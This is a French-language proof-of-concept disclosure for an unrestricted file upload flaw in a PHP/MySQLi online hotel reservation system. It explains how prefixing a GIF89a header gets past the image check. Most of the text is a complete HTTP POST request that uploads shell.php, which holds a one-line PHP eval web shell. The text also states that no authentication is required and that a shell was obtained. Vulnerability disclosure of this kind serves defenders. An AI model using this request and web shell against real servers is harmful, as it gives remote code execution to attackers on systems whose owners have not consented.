
Preuve de concept d'exploitation pour CVE-2024-10410 : téléversement de fichier sans restriction dans Online Hotel Reservation System. Démontre le contournement de la validation d'images via l'injection d'en-tête GIF pour parvenir à une exécution de code à distance.
Online Hotel Reservation System in PHP/MySQLi with Source Code | SourceCodester
Une vulnérabilité à haut risque a été trouvée dans Online Hotel Reservation System, affectant la fonction de téléversement du fichier /marimar/admin/mod_room/controller.php. L'opération de contournement de la détection du paramètre image a abouti à un téléversement de fichiers illimité. Les attaques peuvent être lancées à distance.
marimar\admin\mod_room\controller.php

Après le téléversement du fichier, la variable $image_name modifie le nom du fichier en année, mois et jour courants, puis ajoute _ et le nom du fichier téléversé.
La vulnérabilité réside dans la variable $image_size, qui détecte s'il s'agit d'un fichier image et, dans le cas contraire, désactive le téléversement. Il suffit donc d'ajouter l'en-tête de l'image devant le fichier malveillant injecté pour contourner la détection.
POST http://localhost/marimar/admin/mod_room/controller.php?action=add HTTP/1.1
Host:
Content-Length: 895
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQkzg4xV416LmyFO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.151.167.168/marimar/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: keep-alive
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOM"
test
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ACCOMID"
12
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMDESC"
123123
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="NUMPERSON"
4
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="PRICE"
112
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMNUM"
1
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png
GIF89a
<?php eval($_POST['k1nako']);?>
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryAQkzg4xV416LmyFO--
Le code malveillant a été précédé de GIF89a déguisé en gif. En construisant la requête de téléversement, on peut voir que le cookie est supprimé, ce qui indique que le système n'a pas d'authentification et que des attaques peuvent être lancées à distance.

Bien qu'il s'agisse d'un avertissement, le fichier a été téléversé avec succès, et le nom du fichier a été déduit en fonction de l'heure courante du 2024/10/25 21:55.


getshell réussi.